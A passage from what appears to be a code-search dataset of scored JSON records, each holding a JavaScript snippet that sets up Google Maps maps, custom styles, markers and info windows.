href=\"http://maps.google.com/?q=' + this.address + '\" target=\"_blank\">Map It!</a></p>';\n \tvar infowindow = new google.maps.InfoWindow({\n \t\tcontent: contentString,\n \t\tmaxWidth: 200\n \t});\n \tinfowindow.open(map, this);\n }\n\n $.get('/api/v1/restaurants.json', function (data){\n var bounds = new google.maps.LatLngBounds();//1-A.variable for setting boundaries\n for(var i = 0; i < data.restaurants.length; i++){\n \tvar restaurant = data.restaurants[i];\n \tif(restaurant.latitude < userLat + 0.1 && restaurant.longitude > userLong - 0.1 && restaurant.latitude > userLat - 0.1 && restaurant.longitude < userLong + 0.1){\n \t\tvar companyPos = new google.maps.LatLng(restaurant.latitude,restaurant.longitude);\n \t\tbounds.extend(companyPos);\n \t}else{\n \t\tvar companyPos = new google.maps.LatLng(restaurant.latitude,restaurant.longitude);\n \t}\n // var companyPos = new google.maps.LatLng(restaurant.latitude,restaurant.longitude);\n var image = 'https://s3.amazonaws.com/taquistador/pin_45.png';\n var companyMarker = new google.maps.Marker({\n \tposition: companyPos,\n \tmap: map,\n \ttitle: restaurant.name,\n \taddress: restaurant.address,\n \tanimation: google.maps.Animation.DROP,\n \ticon: image,\n \tzIndex: 3000});\n google.maps.event.addListener(companyMarker, 'click', showInfoWindow);\n }\n map.fitBounds(bounds);//1-B.sets bounds and center\n })\n\ngoogle.maps.event.addDomListener(window, \"resize\", function() {\n\tvar center = map.getCenter();\n\tgoogle.maps.event.trigger(map, \"resize\");\n\tmap.setCenter(center);\n});\n\n}", "title": "" }, { "docid": "76d5434a895ebec94800042dc7761a72", "score": "0.5985027", "text": "function formatMapCopyright(my_gmap) {\n var my_gmapd = $('_sidebarMap') //$(my_gmap); // id of your map \n var div = document.createElement('DIV'); \n div.style.backgroundColor = 'white'; \n div.style.position = 'absolute'; \n div.style.bottom = '0px'; \n div.style.height = '25px'; \n div.style.borderTop = '1px solid #aaa'; \n my_gmapd.appendChild(div); \n div.style.width = '100%'; \n div.style.zIndex = '500'; // move to middle \n var divs = my_gmapd.getElementsByTagName('DIV'); // get map's child divs \n divs[1].style.zIndex = '1000'; // move to front; the google image \n divs[2].style.zIndex = '1000'; // move to front; the copyright string \n divs[2].style.wordWrap = 'break-word'; // wrap the copyright string around \n divs[2].style.width = '50%'; // optionally, set a pixel-width here \n divs[2].style.fontSize = '80%'; // make it teensy bit smaller\n}", "title": "" }, { "docid": "48a37afd7918635d4a6ee5cf66cf4d4a", "score": "0.59748787", "text": "function defaultColor() {\n\n map.setOptions({styles: styles[\"default\"]});\n\n}", "title": "" }, { "docid": "6b065b1c646f6c0fb8e69b1025bffb68", "score": "0.59669447", "text": "@action onStyleLoad(map) {\n this.map = map;\n }", "title": "" }, { "docid": "5dca0dbe9baac9d1583b987c760ca74f", "score": "0.59333444", "text": "function initMap() {\n map = new google.maps.Map(document.getElementById('map'), {\n zoom: 11,\n center: {\n lat: 45.501709456413984,\n lng: -73.71938522905111\n },\n mapTypeControlOptions: {\n mapTypeIds: ['roadmap']\n },\n styles: [{\n featureType: \"all\",\n elementType: \"labels\",\n stylers: [\n { visibility: \"off\" }\n ]\n }]\n });\n init();\n}", "title": "" }, { "docid": "b83472f3e94f570398c8817fce22e5fe", "score": "0.59289396", "text": "function initMap() {\n\tvar map_center = { lat: 48.508197, lng: 32.2668929 };\n\tif (window.innerWidth <= 1180) {\n\t\tvar map_center = { lat: 48.508237, lng: 32.2672129 };\n\t}\n\tif (window.innerWidth <= 970) {\n\t\tvar map_center = { lat: 48.508237, lng: 32.2639029 };\n\t}\n\tif (window.innerWidth <= 900) {\n\t\tvar map_center = { lat: 48.508237, lng: 32.2648669 };\n\t}\n\tif ($('#map').length > 0) {\n\t\t//map\n\t\tvar map = new google.maps.Map(\n\t\t\tdocument.getElementById('map'), {\n\t\t\tzoom: 17,\n\t\t\tcenter: map_center,\n\t\t\tdisableDefaultUI: true,\n\t\t\tstyles: [{ \"featureType\": \"all\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"weight\": \"2.00\" }] }, { \"featureType\": \"all\", \"elementType\": \"geometry.stroke\", \"stylers\": [{ \"color\": \"#9c9c9c\" }] }, { \"featureType\": \"all\", \"elementType\": \"labels.text\", \"stylers\": [{ \"visibility\": \"on\" }] }, { \"featureType\": \"landscape\", \"elementType\": \"all\", \"stylers\": [{ \"color\": \"#f2f2f2\" }] }, { \"featureType\": \"landscape\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#ffffff\" }] }, { \"featureType\": \"landscape.man_made\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#ffffff\" }] }, { \"featureType\": \"poi\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"road\", \"elementType\": \"all\", \"stylers\": [{ \"saturation\": -100 }, { \"lightness\": 45 }] }, { \"featureType\": \"road\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#eeeeee\" }] }, { \"featureType\": \"road\", \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"color\": \"#7b7b7b\" }] }, { \"featureType\": \"road\", \"elementType\": \"labels.text.stroke\", \"stylers\": [{ \"color\": \"#ffffff\" }] }, { \"featureType\": \"road.highway\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"simplified\" }] }, { \"featureType\": \"road.arterial\", \"elementType\": \"labels.icon\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"transit\", \"elementType\": \"all\", \"stylers\": [{ \"visibility\": \"off\" }] }, { \"featureType\": \"water\", \"elementType\": \"all\", \"stylers\": [{ \"color\": \"#46bcec\" }, { \"visibility\": \"on\" }] }, { \"featureType\": \"water\", \"elementType\": \"geometry.fill\", \"stylers\": [{ \"color\": \"#c8d7d4\" }] }, { \"featureType\": \"water\", \"elementType\": \"labels.text.fill\", \"stylers\": [{ \"color\": \"#070707\" }] }, { \"featureType\": \"water\", \"elementType\": \"labels.text.stroke\", \"stylers\": [{ \"color\": \"#ffffff\" }] }]\n\n\t\t});\n\t\tvar marker1 = new google.maps.Marker({\n\t\t\tposition: { lat: 48.5086003, lng: 32.2639504 },\n\t\t\tmap: map,\n\t\t\tscrollwheel: false,\n\t\t\ttitle: '',\n\t\t\ticon: {\n\t\t\t\turl: \"img/map/icon.png\",\n\t\t\t\tscaledSize: new google.maps.Size(59, 65)\n\t\t\t}\n\t\t});\n\n\t}\n}", "title": "" }, { "docid": "97750de1e3306a81f4aa993f9ba93428", "score": "0.5928675", "text": "function initialisationGMap($map){//include google map in the proper div\n\tif (document.getElementById($map)){\n\n\t\t// append a loader\n\t\t$('#'+ $map).css('background', 'url(' + imageFolder + 'map/loader.gif) center center no-repeat');\n\n\t\tif ($('html').hasClass('no-touch')){\n\n\t\t\t$('#mapWrapperLink').removeAttr('href', ''); //we don't need to provide access to google map through the map itself\n\t\t\t\n\t\t\t//we want the map to be the same height as the vcard and we know #map height is due to padding-top\n\t\t\tsameSize('#hcard-la_souris_et_le_piano', '#'+ $map, 'padding-top', 1.3);\n\n\t\t\tvar centreCarte = new google.maps.LatLng(48.8655,2.3920),\n\t\t\t\tpAdresse = new google.maps.LatLng(48.86615,2.39425),\n\t\t\t\tpMetroNadaud = new google.maps.LatLng(48.86480,2.394655),\n\t\t\t\tpMetroGambetta = new google.maps.LatLng(48.86482,2.398335);\n\t\t\t\n\t\t\tvar iSprite = imageFolder,\n\t\t\t\t\t$mapZoom;\n\t\t\n\t\t\t// adapt icons for no-svg using modernizr html classes\n\t\t\tiSprite += ($('html').hasClass('no-svg')) ? 'map/location-coordonnees.png' : 'map/location-coordonnees.svg';\n\n\t\t\t//adapt zoom for responsive cases\n\t\t\t$mapZoom = (($('#'+ $map).width())<650) ? 15 : 16;\n\n\t\t\t//icons\n\t\t\tvar iAdresse = new google.maps.MarkerImage(iSprite, new google.maps.Size(70, 70), new google.maps.Point(0, 0)),\n\t\t\t\tiMetro = new google.maps.MarkerImage(iSprite, new google.maps.Size(40, 40), new google.maps.Point(10, 75));\n\n\t\t\t//map options\n\t\t\tvar optionsCarte = {\n\t\t\t\tzoom: $mapZoom,\n\t\t\t\tcenter: centreCarte,\n\t\t\t\tmapTypeId: google.maps.MapTypeId.ROADMAP\n\t\t\t};\n\n\t\t\t// map\n\t\t\tvar maCarte = new google.maps.Map(document.getElementById($map), optionsCarte);\n\t\t\tvar adresse, metroGambetta, metroNadaud;\n\t\t\tvar infowindow = new google.maps.InfoWindow();\n\n\t\t\t// Markers\n\t\t\tadresse = new google.maps.Marker({\n\t\t\t\ticon: iAdresse,\n\t\t\t\tposition: pAdresse,\n\t\t\t\tmap: maCarte,\n\t\t\t\tmessageTitle: 'La souris et le piano',\n\t\t\t\tmessageContent: 'C\\'est ici!'\n\t\t\t});\n\t\t\tmetroGambetta = new google.maps.Marker({\n\t\t\t\ticon: iMetro,\n\t\t\t\tposition: pMetroGambetta,\n\t\t\t\tmap: maCarte,\n\t\t\t\tmessageTitle: 'Métro 3 et 3bis Gambetta',\n\t\t\t\tmessageContent: 'Sortie place Gambetta ou Mairie du 20ème'\n\t\t\t});\n\t\t\tmetroNadaud = new google.maps.Marker({\n\t\t\t\ticon: iMetro,\n\t\t\t\tposition: pMetroNadaud,\n\t\t\t\tmap: maCarte,\n\t\t\t\tmessageTitle: 'Métro 3 et 3bis Gambetta',\n\t\t\t\tmessageContent: 'Sortie place Martin Nadaud'\n\t\t\t});\n\n\t\t\t// infoWindows\n\t\t\tvar markers=[adresse, metroGambetta, metroNadaud], i;\n\t\t\tvar messageTitle, messageContent;\n\t\t\tfor (i = markers.length - 1; i >= 0; i--) {\n\t\t\t\t// built the infoWindow content\n\t\t\t\tmessageContent = '<div class=\"infowindow\"><span><strong>' + markers[i].messageTitle +'</strong><br/></span>';\n\t\t\t\tmarkers[i].messageContent = messageContent + '<span>' + markers[i].messageContent +'</span></div>';\t\t\t\t\t\n\t\t\t\t// fire the eventListener\n\t\t\t\tdisplayInfoWindow(maCarte, markers[i], infowindow, 'mouseover');\n\t\t\t}\n\n\t\t} else {\n\t\t\t$('#'+ $map).css('background-image', 'url(' + imageFolder + 'map/mapHd.png)');\n\t\t\t// as we're on TOUCH we rather provide an image with a link to google map\n\t\t\t$('#'+ $map).click(function() {//rebuilt the div ID > on click on the map div ID, open a new tab with the full map\n\t\t\t\t window.open('http://goo.gl/maps/RgCDv');\n\t\t\t});\n\t\t\t// we may dont't need access via the text link \n\t\t\t// $('#gooleMapLink').remove();\n\t\t}\t\t\t\t\n\t}\n}//end of initialisationGMap -google map-", "title": "" }, { "docid": "bac2e78d1a4c27c74cbddf0c7331c3ba", "score": "0.59217167", "text": "function initMap() {\n //Create a styles array to use with the map\n //Style from https://snazzymaps.com/\n var styles = [\n {\n \"featureType\": \"administrative\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"lightness\": 33\n }\n ]\n },\n {\n \"featureType\": \"landscape\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"color\": \"#f2e5d4\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#c5dac6\"\n }\n ]\n },\n {\n \"featureType\": \"poi.park\",\n \"elementType\": \"labels\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"road\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"lightness\": 20\n }\n ]\n },\n {\n \"featureType\": \"road.highway\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#c5c6c6\"\n }\n ]\n },\n {\n \"featureType\": \"road.arterial\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#e4d7c6\"\n }\n ]\n },\n {\n \"featureType\": \"road.local\",\n \"elementType\": \"geometry\",\n \"stylers\": [\n {\n \"color\": \"#fbfaf7\"\n }\n ]\n },\n {\n \"featureType\": \"water\",\n \"elementType\": \"all\",\n \"stylers\": [\n {\n \"visibility\": \"on\"\n },\n {\n \"color\": \"#acbcc9\"\n }\n ]\n }\n ];\n //Constructor creates a new map - only center and zoom are required\n map = new google.maps.Map(document.getElementById('map'), {\n center: {lat: latitude, lng: longitude},\n zoom: 16,\n styles: styles,\n mapTypeControl: true\n });\n //Create the view model after google map has loaded\n ko.applyBindings(new ViewModel());\n}", "title": "" }, { "docid": "4f55c50bf17400b35c5e8f7f5bd04ccf", "score": "0.5919231", "text": "function GoogleMaps($scope) {\n $scope.mapOptions = {\n zoom: 11,\n center: new google.maps.LatLng(40.6700, -73.9400),\n // Style for Google Maps\n styles: [{\"featureType\":\"water\",\"stylers\":[{\"saturation\":43},{\"lightness\":-11},{\"hue\":\"#0088ff\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"hue\":\"#ff0000\"},{\"saturation\":-100},{\"lightness\":99}]},{\"featureType\":\"road\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#808080\"},{\"lightness\":54}]},{\"featureType\":\"landscape.man_made\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ece2d9\"}]},{\"featureType\":\"poi.park\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#ccdca1\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"color\":\"#767676\"}]},{\"featureType\":\"road\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"color\":\"#ffffff\"}]},{\"featureType\":\"poi\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"landscape.natural\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"visibility\":\"on\"},{\"color\":\"#b8cb93\"}]},{\"featureType\":\"poi.park\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"poi.sports_complex\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"poi.medical\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"poi.business\",\"stylers\":[{\"visibility\":\"simplified\"}]}],\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n $scope.mapOptions2 = {\n zoom: 11,\n center: new google.maps.LatLng(40.6700, -73.9400),\n // Style for Google Maps\n styles: [{\"featureType\":\"all\",\"elementType\":\"all\",\"stylers\":[{\"invert_lightness\":true},{\"saturation\":10},{\"lightness\":30},{\"gamma\":0.5},{\"hue\":\"#435158\"}]}],\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n $scope.mapOptions3 = {\n center: new google.maps.LatLng(36.964645, -122.01523),\n zoom: 18,\n // Style for Google Maps\n MapTypeId: google.maps.MapTypeId.SATELLITE,\n styles: [{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"poi\",\"elementType\":\"geometry\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#fffffa\"}]},{\"featureType\":\"water\",\"stylers\":[{\"lightness\":50}]},{\"featureType\":\"road\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"transit\",\"stylers\":[{\"visibility\":\"off\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry\",\"stylers\":[{\"lightness\":40}]}],\n mapTypeId: google.maps.MapTypeId.SATELLITE\n };\n $scope.mapOptions4 = {\n zoom: 11,\n center: new google.maps.LatLng(40.6700, -73.9400),\n // Style for Google Maps\n styles: [{\"stylers\":[{\"hue\":\"#18a689\"},{\"visibility\":\"on\"},{\"invert_lightness\":true},{\"saturation\":40},{\"lightness\":10}]}],\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n}", "title": "" }, { "docid": "dd1b173631a2695ae159a4ef37306b82", "score": "0.59152603", "text": "function initializeGoogleMaps(){\n\t//PRE. YOU ARE HERE IMAGE\n _goolemapmarkerimage_youarehere = new google.maps.MarkerImage('_styles/assets/images/maps_yah.png',\n new google.maps.Size(32, 37),\n new google.maps.Point(0,0),\n new google.maps.Point(16, 37)\n );\n //PRE. DOG SHIT\n _goolemapmarkerimage_dogshit = new google.maps.MarkerImage('_styles/assets/images/maps_dogshit.png',\n new google.maps.Size(32, 37),\n new google.maps.Point(0,0),\n new google.maps.Point(16, 37)\n );\n //INFOWINDOW\n _infoWindow = new google.maps.InfoWindow({\n \tcontent: \"SLA\",\n \tposition: new google.maps.LatLng(51.054398, 3.725224)\n });\n\t//1. CREATE MAPOPTIONS\n\tvar mapOptions = {\n\t\tzoom: 14,\n\t\tcenter: new google.maps.LatLng(51.054398, 3.725224),\n\t\tmapTypeId: google.maps.MapTypeId.ROADMAP\n\t}\n\t//2. CREATE GOOGLE MAPS\n\t_googlemap = new google.maps.Map(document.getElementById(\"map-canvas\"), mapOptions);\n\tgoogle.maps.event.addListenerOnce(_googlemap, 'bounds_changed', function(){\n\t\t//3. GET GEOLOCATION\n\t\tgetGeoLocation();\n\t});\n}", "title": "" }, { "docid": "fa44776edbce50cbe7b4a2f573ff2fb6", "score": "0.5867113", "text": "function changeStyles(which) {\n\tif (which == 'night') {\n\t\tmap.setMapTypeId(darkMapTypeId);\n\t}\n\telse {\n\t\tmap.setMapTypeId(lightMapTypeId);\n\t}\n}", "title": "" }, { "docid": "2ba3d845a1d26a94c14117db83bcb07f", "score": "0.5859159", "text": "function nightMode() {\n\n map.setOptions({styles: styles[\"night\"]});\n\n}", "title": "" }, { "docid": "d9f5d20c53f0ae0f76f02072257ae84d", "score": "0.584287", "text": "function initialize() {\n var styles = [{\n stylers: [\n { hue: \"#cccccc\" },\n { saturation: -200 },\n { lightness: -50 }\n ]},{\n featureType: \"water\",\n elementType: \"geometry.fill\",\n stylers: [\n { visibility: \"on\" },\n { \"weight\": 0.2 },\n { \"hue\": \"#6DE7F7\" },\n { \"saturation\": 56 },\n { \"lightness\": 72 }\n ]},{\n featureType: \"road\",\n elementType: \"labels\",\n stylers: [\n { \"visibility\": \"off\" },\n { \"hue\": \"#cccccc\" }\n ]\n }\n ];\n var mapOptions = {\n center: myLatlng,\n zoom: 14,\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n\n\tmap = new google.maps.Map(document.getElementById(\"map-canvas\"), mapOptions);\n map.setOptions({styles: styles});\n\n// Main marker and circle\n var mainmarker = new google.maps.Marker({\n position: myLatlng,\n map: map,\n icon: '/assets/main.png'\n });\n\n circle = new google.maps.Circle({\n strokeColor: '#04454d',\n strokeOpacity: 0.6,\n strokeWeight: 2,\n fillColor: '#6DE7F7',\n fillOpacity: 0.2,\n map: map,\n center: myLatlng,\n radius: 500\n });\n}", "title": "" }, { "docid": "619787ca1ab2313552f236f260987a2e", "score": "0.58402205", "text": "function elementStylingMap(index,classes,styles){updateStylingMap(getStylingContext(index),classes,styles);}//////////////////////////", "title": "" }, { "docid": "644471e660e5eb9211213cf22f2c7f67", "score": "0.58345777", "text": "render() {\n return (\n <Map\n googleMapURL=\"https://maps.googleapis.com/maps/api/js?key=AIzaSyBqpBnwVoGdiPfRLdW08dfLmbluuL_f1Po&v=3.exp\"\n loadingElement = {\n <div className=\"loading-element\"/>\n }\n containerElement = {\n <div className=\"container-element\"/>\n }\n mapElement = {\n <div className=\"map-element\" role=\"application\"/>\n }\n onMapClick={this.handleMapClick}\n onMarkerClick={this.handleMarkerClick}\n buildInfoWindow={this.buildInfoWindow}\n {...this.props}\n >\n </Map>\n );\n }", "title": "" }, { "docid": "08016adc71a4aee012646b7f9cfa501e", "score": "0.5833301", "text": "function HomeControl(homeControlDiv, homeControlDiv4, map) {\r\n\t//style\r\n\t\t var pinkParksStyles = [\r\n {\r\n \"featureType\": \"transit\",\r\n \"elementType\": \"geometry\",\r\n \"stylers\": [\r\n { \"visibility\": \"off\" }\r\n ]\r\n },{\r\n \"featureType\": \"poi\",\r\n \"stylers\": [\r\n { \"visibility\": \"off\" }\r\n ]\r\n },{\r\n \"featureType\": \"administrative\",\r\n \"stylers\": [\r\n { \"visibility\": \"off\" }\r\n ]\r\n },{\r\n \"featureType\": \"landscape\",\r\n \"stylers\": [\r\n { \"visibility\": \"simplified\" },\r\n { \"lightness\": 100 }\r\n ]\r\n },{\r\n \"featureType\": \"road.highway\",\r\n \"stylers\": [\r\n { \"visibility\": \"simplified\" },\r\n { \"weight\": 5.2 },\r\n { \"lightness\": 70 },\r\n { \"saturation\": 100 }\r\n ]\r\n },{\r\n \"featureType\": \"road.local\",\r\n \"stylers\": [\r\n { \"hue\": \"#0008ff\" },\r\n { \"visibility\": \"off\" }\r\n ]\r\n },{\r\n \"featureType\": \"road.arterial\",\r\n \"elementType\": \"geometry.fill\",\r\n \"stylers\": [\r\n { \"visibility\": \"off\" }\r\n ]\r\n },{\r\n \"featureType\": \"road.arterial\",\r\n \"elementType\": \"geometry.stroke\",\r\n \"stylers\": [\r\n { \"visibility\": \"on\" },\r\n { \"weight\": 1.5 },\r\n { \"hue\": \"#f6ff00\" },\r\n { \"lightness\": 60 }\r\n ]\r\n },{\r\n \"featureType\": \"road.arterial\",\r\n \"elementType\": \"labels\",\r\n \"stylers\": [\r\n { \"visibility\": \"off\" }\r\n ]\r\n }\r\n];\r\n// Create a new StyledMapType object, passing it the array of styles,\r\n// as well as the name to be displayed on the map type control.\r\n var pinkMapType = new google.maps.StyledMapType(pinkParksStyles,\r\n {name: \"Pink Parks\"});\r\n// Setup the click event listeners\r\n google.maps.event.addDomListener(homeControlDiv, 'click', function() { \r\n//change\r\n var latlng = new google.maps.LatLng(\r\n\t34.055806, -118.237063);\r\n var myOptions = {\r\n\t zoom: 13,\r\n\t center: latlng,\r\n\t mapTypeControlOptions: {\r\n mapTypeIds: [google.maps.MapTypeId.ROADMAP, 'pink_parks']\r\n },\r\n\t mapTypeId: google.maps.MapTypeId.ROADMAP,streetViewControl: false,mapTypeControl: false,\r\n\t\tzoomControlOptions: {\r\n\t\t style: google.maps.ZoomControlStyle.LARGE\r\n\t\t}\r\n\t}\r\nvar map = new google.maps.Map(document.getElementById(\"map\"), myOptions);\r\n\tvar fusionlayer = new google.maps.FusionTablesLayer({suppressInfoWindows: true,\r\nclickable: false,\r\n query: {\r\n select: 'geometry',\r\n from: '3901817'\r\n }\r\n});\r\nvar fusionlayerb = new google.maps.FusionTablesLayer({suppressInfoWindows: false,\r\nclickable: true,\r\n query: {\r\n select: 'Address',\r\n from: '1v-yx1YIyg4nNLF72v2XAOFwBHs3hwTera0P1PXc'\r\n }\r\n});\r\nfusionlayer.setMap(map);\r\nfusionlayerb.setMap(map);\r\n//Associate the styled map with the MapTypeId and set it to display.\r\nmap.mapTypes.set('pink_parks', pinkMapType);\r\nmap.setMapTypeId('pink_parks');\r\n//Hide Legend\t\t\r\ndocument.getElementById('map-legend').style.visibility = 'hidden';\r\n//add button\r\nvar homeControl = new HomeControl2(homeControlDiv, homeControlDiv4, map);\r\nhomeControlDiv.index = 1;\r\nmap.controls[google.maps.ControlPosition.TOP_RIGHT].push(homeControlDiv);\r\n });\r\n}", "title": "" }, { "docid": "fcb3417eb5349b7258669e3e72d4b8d0", "score": "0.5823389", "text": "function sbvcgmap_get_map_type_control_style(string) {\r\n\t\t\r\n\t\tvar map_type_control_style;\r\n\t\tstring = string.toUpperCase();\r\n\t\t\r\n\t\tif(string == 'HORIZONTAL_BAR') {\r\n\t\t\tmap_type_control_style = google.maps.MapTypeControlStyle.HORIZONTAL_BAR;\r\n\t\t} else if(string == 'DROPDOWN_MENU') {\r\n\t\t\tmap_type_control_style = google.maps.MapTypeControlStyle.DROPDOWN_MENU;\r\n\t\t} else if(string == 'DEFAULT') {\r\n\t\t\tmap_type_control_style = google.maps.MapTypeControlStyle.DEFAULT;\r\n\t\t} else {\r\n\t\t\tmap_type_control_style = google.maps.MapTypeControlStyle.DEFAULT;\r\n\t\t}\r\n\t\t\r\n\t\treturn map_type_control_style;\r\n\t}", "title": "" }, { "docid": "43b590db7ed2090af95ae882221b19ba", "score": "0.5819544", "text": "function init(){\n\t{\n\t\tvar e={\n\t\t\tzoom:15,\n\t\t\tscrollwheel:!1,\n\t\t\tstreetViewControl:1,\n\t\t\tpanControl:!1,\n\t\t\tzoomControl:1,\n\t\t\tmapTypeControl:!1,\n\t\t\tscaleControl:!1,\n\t\t\tstreetViewControl:1,\n\t\t\toverviewMapControl:!1,\n\t\t\tcenter:new google.maps.LatLng(36.285,-6.09),\n\n\t\t\tstyles:[\n\t\t\t\t{featureType:\"landscape.man_made\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{color:\"#f7f1df\"}]},\n\n\t\t\t\t{featureType:\"landscape.natural\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{color:\"#d0e3b4\"}]},\n\n\t\t\t\t{featureType:\"landscape.natural.terrain\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{visibility:\"on\"}]},\n\n\t\t\t\t{featureType:\"poi\",\n\t\t\t\telementType:\"labels\",\n\t\t\t\tstylers:[{visibility:\"on\"}]},\n\n\t\t\t\t{featureType:\"poi.business\",\n\t\t\t\telementType:\"all\",\n\t\t\t\tstylers:[{visibility:\"on\"}]},\n\n\t\t\t\t{featureType:\"poi.medical\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{color:\"#fbd3da\"}]},\n\n\t\t\t\t{featureType:\"poi.park\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{color:\"#bde6ab\"}]},\n\n\t\t\t\t{featureType:\"road\",\n\t\t\t\telementType:\"geometry.stroke\",\n\t\t\t\tstylers:[{visibility:\"on\"}]},\n\n\t\t\t\t{featureType:\"road\",\n\t\t\t\telementType:\"labels\",\n\t\t\t\tstylers:[{visibility:\"on\"}]},\n\n\t\t\t\t{featureType:\"road.highway\",\n\t\t\t\telementType:\"geometry.fill\",\n\t\t\t\tstylers:[{color:\"#ffe15f\"}]},\n\n\t\t\t\t{featureType:\"road.highway\",\n\t\t\t\telementType:\"geometry.stroke\",\n\t\t\t\tstylers:[{color:\"#efd151\"}]},\n\n\t\t\t\t{featureType:\"road.arterial\",\n\t\t\t\telementType:\"geometry.fill\",\n\t\t\t\tstylers:[{color:\"#ffffff\"}]},\n\n\t\t\t\t{featureType:\"road.local\",\n\t\t\t\telementType:\"geometry.fill\",\n\t\t\t\tstylers:[{color:\"black\"}]},\n\n\t\t\t\t{featureType:\"transit.station.airport\",\n\t\t\t\telementType:\"geometry.fill\",\n\t\t\t\tstylers:[{color:\"#cfb2db\"}]},\n\n\t\t\t\t{featureType:\"water\",\n\t\t\t\telementType:\"geometry\",\n\t\t\t\tstylers:[{color:\"#a2daf2\"}]}]},\n\n\t\t\t\tt=document.getElementById(\"map-canvas\"),\n\n\t\t\t\to=new google.maps.Map(t,e);\n\n\t\t\t\tnew google.maps.Marker({position:new google.maps.LatLng(36.276231,-6.083758),map:o,icon:\"\"})}}", "title": "" }, { "docid": "a46ca50fc5ad1b54a0eb2f7ef3819983", "score": "0.58138925", "text": "function initMap() {\n\n pvd = new google.maps.LatLng(41.826684, -71.398011);\n // create map, centered on PVD in case of failure\n map = new google.maps.Map(document.getElementById('map'), {\n center: pvd,\n zoom: 4,\n minZoom: 2,\n streetViewControl: false,\n zoomControl: false,\n mapTypeControl: false,\n fullscreenControl: false,\n gestureHandling: \"none\",\n zoomControlOptions: {\n position: google.maps.ControlPosition.LEFT_BOTTOM\n },\n mapTypeControlOptions: {\n style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,\n position: google.maps.ControlPosition.LEFT_BOTTOM\n },\n draggableCursor:'',\n styles: [{\"featureType\":\"all\",\"elementType\":\"all\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"all\",\"elementType\":\"labels\",\"stylers\":[{\"visibility\":\"on\"},{\"saturation\":\"-100\"}]},{\"featureType\":\"all\",\"elementType\":\"labels.text.fill\",\"stylers\":[{\"saturation\":36},{\"color\":\"#d7dee5\"},{\"lightness\":40},{\"visibility\":\"on\"}]},{\"featureType\":\"all\",\"elementType\":\"labels.text.stroke\",\"stylers\":[{\"visibility\":\"on\"},{\"color\":\"#19222a\"},{\"lightness\":16}]},{\"featureType\":\"all\",\"elementType\":\"labels.icon\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#19222a\"},{\"lightness\":20}]},{\"featureType\":\"administrative\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#000000\"},{\"lightness\":17},{\"weight\":1.2}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry\",\"stylers\":[{\"color\":\"#000000\"},{\"lightness\":20}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#3f4c5a\"}]},{\"featureType\":\"landscape\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#3f4c5a\"}]},{\"featureType\":\"landscape.natural\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#3f4c5a\"}]},{\"featureType\":\"poi\",\"elementType\":\"geometry\",\"stylers\":[{\"lightness\":21}]},{\"featureType\":\"poi\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#3f4c5a\"}]},{\"featureType\":\"poi\",\"elementType\":\"geometry.stroke\",\"stylers\":[{\"color\":\"#257bcb\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry\",\"stylers\":[{\"visibility\":\"on\"}]},{\"featureType\":\"road\",\"elementType\":\"geometry.fill\",\"stylers\":[{\"color\":\"#d7dee5\"}]},{\"featureType\":\"road.highway\",\